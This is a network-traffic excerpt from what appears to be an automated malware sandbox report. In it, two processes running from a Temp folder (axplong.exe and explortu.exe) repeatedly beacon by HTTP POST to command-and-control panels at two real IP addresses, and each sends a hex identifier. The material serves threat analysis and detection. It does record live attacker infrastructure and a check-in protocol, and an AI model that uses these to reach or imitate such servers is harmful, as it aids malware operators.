Jun 20, 2024 15:38:27.964844942 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:28.173465014 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49743	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:27.111421108 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:27.798907042 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:27.965420008 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:38:28.180814981 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49746	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:28.313424110 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:28.997518063 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:28.998678923 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:29.212639093 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49747	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:28.313812017 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:29.031222105 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:29.033103943 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:38:29.257548094 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49751	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:29.324961901 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:30.020288944 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:30.048986912 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:30.264296055 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49752	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:29.370352983 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:30.061912060 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:30.063002110 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:38:30.285775900 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49757	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:30.466084003 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:31.154468060 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:31.155576944 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:38:31.479340076 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49758	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:30.466525078 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:31.132684946 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:31.133690119 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:31.475840092 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49766	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:31.584995031 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:32.261008024 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:32.261976957 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:32.473999023 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49767	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:31.601075888 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49769	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:32.698699951 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:33.367474079 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:33.368410110 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:33.575444937 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49778	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:33.719861031 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:34.388700008 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:34.396255016 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:34.629566908 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49783	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:35.192841053 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:35.869697094 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:35.870333910 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:36.077807903 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49784	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:35.618145943 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:38:36.317610025 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49789	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
